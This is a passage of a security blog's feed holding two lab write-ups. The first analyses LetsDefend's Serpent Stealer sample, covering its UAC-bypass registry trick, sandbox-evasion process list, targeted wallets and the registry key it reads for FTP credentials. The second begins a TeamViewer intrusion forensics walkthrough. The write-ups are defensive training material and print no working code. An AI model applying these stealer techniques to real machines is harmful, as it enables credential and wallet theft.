30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/42d31e40f414fe836874546a5ddb515c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-first-command-that-the-malware-uses-to-bypass-the-user-account-controluac&#34;&gt;Question 4: What is the first command that the malware uses to bypass the User Account Control (UAC)?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, now we are going to examine some of the mechanisms that the malware uses for privilege escalation. Let&amp;rsquo;s return to the &lt;em&gt;Evasion&lt;/em&gt; object and focus on the &lt;em&gt;UAC&lt;/em&gt; class.&lt;/p&gt;&#xA;&lt;p&gt;To understand what the malware is doing, we first need to understand what &lt;em&gt;User Account Control (UAC)&lt;/em&gt; in &lt;em&gt;Windows&lt;/em&gt; is_._ According to &lt;em&gt;Microsoft Learn:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;User Account Control (UAC) is a Windows security feature designed to protect the operating system from unauthorized changes. When changes to the system require administrator-level permission, UAC notifies the user, giving the opportunity to approve or deny the change.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, &lt;em&gt;UAC&lt;/em&gt; helps prevent unauthorized, administrator-level changes on a system by notifying users of the request and requiring approval to proceed, typically by supplying administrative credentials.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/a8929a715750055ed3a542de3738237b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s look at the first bypass string (&lt;em&gt;psCMD1&lt;/em&gt;) in the &lt;em&gt;UAC class.&lt;/em&gt; This command creates a new registry key which can be abused to bypass &lt;em&gt;UAC&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1548.002&lt;/em&gt;&lt;/a&gt;) — it is also the answer to &lt;strong&gt;Question 4.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you copy the string out, it&amp;rsquo;s a little tricky as the format of the double quotation marks doesn&amp;rsquo;t transfer over the &lt;em&gt;VNC clipboard.&lt;/em&gt; Instead, on a US keyboard, I used the ALT codes for double quotation marks &lt;em&gt;Alt 0147&lt;/em&gt; to open, &lt;em&gt;Alt 0148&lt;/em&gt; to close the path.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/e027ef1f2ec3c5195dbfa0e4dc284347_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-how-many-file-extensions-does-the-malwaretarget&#34;&gt;Question 5: How many file extensions does the malware target?&#xA;&lt;/h3&gt;&lt;p&gt;Next, let&amp;rsquo;s analyze what file extensions this stealer targets so that we can understand the impact to a victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;To locate this information, we&amp;rsquo;ll navigate back to &lt;em&gt;Modules&lt;/em&gt; &amp;gt; &lt;em&gt;FileStealer function &amp;gt; SupportedExtensions&lt;/em&gt; string and focus on the below lines of code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;346px&#34; data-flex-grow=&#34;144&#34; height=&#34;554&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/53ab7a1c656bcd85495b03dc118b68fb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will take us directly to the location we need to discover which extensions are targeted by the malware. Let&amp;rsquo;s submit our findings and move forward with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/c78088a39c0ce5a8f729e7d03f2712ca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-first-process-listed-in-the-blacklisted-processes-used-by-themalware&#34;&gt;Question 6: What is the first process listed in the blacklisted processes used by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Back to the &lt;em&gt;Evasion&lt;/em&gt; object! This time, we&amp;rsquo;re going to and check the &lt;em&gt;AntiAV&lt;/em&gt; class and look at the blackListedProcesses string.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/4bb561d6b93449422427acbd7a3e9eec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The malware is doing another system check for indicators that it is executed in an analysis environment by looking for processes common in malware analysis sandboxes like virtualization/analysis tool processes. This technique is another example of the malware attempting be stealthy and evade detection (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1497.001&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 6&lt;/strong&gt;, we just need to input the first process name in the stealer&amp;rsquo;s &lt;em&gt;blackListedProcesses&lt;/em&gt; list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/a2368293f00e3b4eb4969e4b599ccc83_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-last-wallet-name-that-is-targeted-by-the-malware-on-thelist&#34;&gt;Question 7: What is the last wallet name that is targeted by the malware on the list?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt;, we&amp;rsquo;re going to search for the crypto wallets that the stealer targets.&lt;/p&gt;&#xA;&lt;p&gt;This will be largely the same process that we have followed for the last couple of questions. We&amp;rsquo;ll navigate back to the &lt;em&gt;Modules,&lt;/em&gt; and look at the &lt;em&gt;Run&lt;/em&gt; method of the &lt;em&gt;Wallets&lt;/em&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/6d7e06b908251212c02245c8f62a6de6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here, we&amp;rsquo;ll see a list of the specific crypto wallet services that are targeted by the malware. We can just input last wallet name on the list for the answer and then we&amp;rsquo;ll move on to the final question of this challenge!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/5357a1dab530808aac6f0bc8a83d7295_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-after-getting-the-current-user-what-is-the-subkey-used-by-the-malware-to-dump-ftp-credentials&#34;&gt;Question 8: After getting the current user, what is the subkey used by the malware to dump FTP credentials?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! Now, to discover the answer to &lt;strong&gt;Question 8&lt;/strong&gt;, we&amp;rsquo;ll check the &lt;em&gt;Run&lt;/em&gt; method under &lt;em&gt;FTPStealer,&lt;/em&gt; in the &lt;em&gt;Root Namespace.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Take a look at the first couple of strings under the &lt;em&gt;Run&lt;/em&gt; method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;144&#34; height=&#34;555&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/aad756996ecf339c276971ca2bae8596_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We see that the malware is targeting a &lt;em&gt;Windows Registry&lt;/em&gt; hive &lt;strong&gt;HKCU\Software\Microsoft\FTP&lt;/strong&gt; where the &lt;em&gt;Credentials&lt;/em&gt; key stores &lt;em&gt;FTP&lt;/em&gt; credentials, if they are cached on the victim device (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1552/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;T1552.002.&lt;/em&gt;&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Okay, there we have it! Now that we have determined &lt;em&gt;Registry&lt;/em&gt;&#xA;key that the &lt;em&gt;FTPStealer&lt;/em&gt; function targets, let&amp;rsquo;s submit our answer and wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-serpent-stealer-challenge-walkthrough/0385c650c934c7138c3632fb41068ff9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! We have finished our analysis of the &lt;em&gt;Serpent Stealer&lt;/em&gt; malware, learned how it evades detection, elevates privileges, and what victim data it targets. With the listed objectives completed, it&amp;rsquo;s time to close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/serpent-stealer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Serpent Stealer&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;for another fun challenge! I chose this challenge for two reasons: To keep upskilling in malware reverse engineering and to get more familiar with how information stealer malware works. I appreciated the opportunity to jump back into &lt;em&gt;dotPeek&lt;/em&gt; and have more hands-on time with the tool. As information stealers become a bigger and more common threat, it&amp;rsquo;s equally important to me to peek into stealer functionality for insights on how to better defend against them. Like I said in the introduction, practice makes perfect; so thank you for practicing your reverse engineering skills with me. I hope you learned something and had some fun along the way!&lt;/p&gt;&#xA;&lt;p&gt;If you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;JetBrains dotPeek:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.jetbrains.com/decompiler/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.jetbrains.com/decompiler/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/c4f981f1f532ec827032775c88a45f1b4153c3d27885f189654ad6ee85c709c1/details&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect It Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1497.001 — Virtualization/Sandbox Evasions: System Checks):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1497/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1074.001 — Data Staged: Local Data Staging):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1074/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1074/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (UAC):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1548.002 — Abuse Elevation Control Mechanism: Bypass User Account Control):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1548/002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (T1552.002 — Unsecured Credentials: Credentials in Registry):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1552/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1552/002/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — TeamViewer Forensics Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/</link>
            <pubDate>Sun, 21 Jul 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/8a74ba8a4506ddf9ad42a353542636f9_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — TeamViewer Forensics Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--teamviewer-forensics-challenge-walkthrough&#34;&gt;LetsDefend — TeamViewer Forensics Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;endpoint-forensic-investigation-using-the-teamviewer-logs-andmftecmd&#34;&gt;Endpoint Forensic Investigation using the TeamViewer Logs and MFTECmd&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/8a74ba8a4506ddf9ad42a353542636f9_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/teamviewer-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you ever read a story in the news about a cyber-attack where the bad guys used remote monitoring and management (&lt;em&gt;RMM&lt;/em&gt;) software like &lt;em&gt;TeamViewer&lt;/em&gt; and wondered how you would investigate unauthorized access if that happened to you? If this topic sounds interesting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough! This blog is a walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Team Viewer Forensics&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Team Viewer Forensics&lt;/a&gt; is a medium-difficulty &lt;em&gt;DFIR&lt;/em&gt; challenge that has us defenders investigating a victim&amp;rsquo;s &lt;em&gt;TeamViewer&lt;/em&gt; log files and then leveraging &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Eric Zimmerman&amp;rsquo;s MFTECmd&lt;/em&gt;&lt;/a&gt; utility to examine the actions taken by the attacker after they gained initial access to the system. By analyzing the artifacts of the file system, we&amp;rsquo;re going to determine when and how the attacker accessed the system and what they took — fun stuff!&lt;/p&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s put on our detective hats and have some fun with &lt;em&gt;TeamViewer&lt;/em&gt; forensics. Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/teamviewer-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/teamviewer-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;During a workday, an employee noticed strange unauthorized activity on his computer, with applications opening and the mouse moving. Quickly realizing that someone was remotely accessing his machine via TeamViewer, the employee acted quickly, changing his TeamViewer password and alerting the security team. However, the employee must still clarify how the breach occurred and how far the threat actor has gone. Your challenge is to unravel this mystery and discover how the intruder gained access and what they did.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-2&#34;&gt;Question 1 &amp;amp; 2:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-is-the-intruders-username&#34;&gt;What is the intruder&amp;rsquo;s username?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;heading&#34;&gt;&amp;amp;&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the---&#34;&gt;What is the &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;user ID&amp;quot;&#xA;associated with the intruder&amp;rsquo;s username?&lt;/p&gt;&#xA;&lt;p&gt;Okay, before we jump into the analysis, let&amp;rsquo;s ensure that our environment is ready and extract the challenge file from the &lt;em&gt;7z archive&lt;/em&gt;. We&amp;rsquo;ll see that this is the file structure of the primary (C:) drive from the victim&amp;rsquo;s device.&lt;/p&gt;&#xA;&lt;p&gt;Since we know that the victim saw some suspicious activity from the remote monitoring and management application, &lt;em&gt;TeamViewer&lt;/em&gt;, let&amp;rsquo;s start off by looking at the log files generated by this app.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start by doing some research on the vendor&amp;rsquo;s support site to determine the locations of the logs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&#34;  title=&#34;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Find your log files&lt;/strong&gt;&#xA;_This article applies to all TeamViewer customers. Sometimes you may be asked to locate your TeamViewer log files and&amp;hellip;_www.teamviewer.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.teamviewer.com/en-us/global/support/knowledge-base/teamviewer-classic/contact-support/find-your-log-files/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;em&gt;TeamViewer&lt;/em&gt; log files are available in the &lt;em&gt;C:\Program Files\TeamViewer&lt;/em&gt; directory. Let&amp;rsquo;s navigate to the following path in the challenge file: &lt;em&gt;C\Program Files\TeamViewer&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first log we want to review is the basic &amp;quot; # &amp;ldquo;Connections_incoming.txt.&amp;ldquo;Let&amp;rsquo;s just open this file up in &lt;em&gt;Notepad&lt;/em&gt; for analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;833px&#34; data-flex-grow=&#34;347&#34; height=&#34;217&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/b9c8ea6d2aacf9a029579981c0739e8d_MD5.png&#34; width=&#34;754&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/0fb7ee2e539de486b2a0c01ba84a1858_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Awesome! While this is a basic incoming connections log, it contains some valuable information for our investigation — I&amp;rsquo;ll highlight the relevant columns we&amp;rsquo;ll need.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The first column is the TeamViewer &lt;strong&gt;user ID&lt;/strong&gt; of the &lt;em&gt;incoming agent&lt;/em&gt; connection.&lt;/li&gt;&#xA;&lt;li&gt;The second column is the &lt;strong&gt;username&lt;/strong&gt; of the &lt;em&gt;incoming&lt;/em&gt; connection.&lt;/li&gt;&#xA;&lt;li&gt;Columns 3€“4 are the start &amp;amp; end times of the connected session.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So, with this information, we can answer &lt;strong&gt;Question 1&lt;/strong&gt; &amp;amp; &lt;strong&gt;2!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pro Tip:&lt;/strong&gt; It&amp;rsquo;s best to copy and paste the &lt;em&gt;username&lt;/em&gt; using the LetsDefend Virtual Machine VNC clipboard. If you&amp;rsquo;re anything like me, you&amp;rsquo;ll mix up one and L in the &lt;em&gt;username.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/e22434af85e8d7cf030ab22173dedfbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Question 1 — Answered&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/e59ab6d33b67e92508abb9b7529bd8e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Question 2 — Answered&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-attacker-has-joined-more-than-one-time-when-did-the-intruder-first-access-the-victimsmachine&#34;&gt;Question 3: The attacker has joined more than one time. When did the intruder first access the victim&amp;rsquo;s machine?&#xA;&lt;/h3&gt;&lt;p&gt;The &lt;em&gt;Connections_incoming.txt&lt;/em&gt; log file shows us two different connections. &lt;strong&gt;Question 3&lt;/strong&gt; seems pretty straightforward to confirm, except for one little detail&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Look at the required answer format for this question:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;(yyyy-MM-dd HH:mm:ss.&lt;strong&gt;SSS&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This log file doesn&amp;rsquo;t provide enough information to answer this question, does it? All hope is not lost, though. According to &lt;em&gt;TeamViewer,&lt;/em&gt; there is a second logfile called &amp;ldquo;TeamViewerXX_Logfile.log&amp;quot;Going through the victim&amp;rsquo;s &lt;em&gt;TeamViewer&lt;/em&gt; directory, we&amp;rsquo;ll stumble on this second log file, &amp;quot; # &amp;ldquo;TeamViewer15_Logfile.log&amp;rdquo;&#xA;—_ this log is much more detailed and contains the technical information we&amp;rsquo;re looking for.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s open it and do a simple search for the attacker&amp;rsquo;s user ID that we discovered in &lt;strong&gt;Question 2&lt;/strong&gt; — this will help us locate the accurate first incoming session timestamp down to the millisecond:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;820px&#34; data-flex-grow=&#34;341&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-teamviewer-forensics-challenge-walkthrough/3c2c2c818ad8e492f9ffc30d10b77a87_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! We found an even more accurate connection time than was available in the 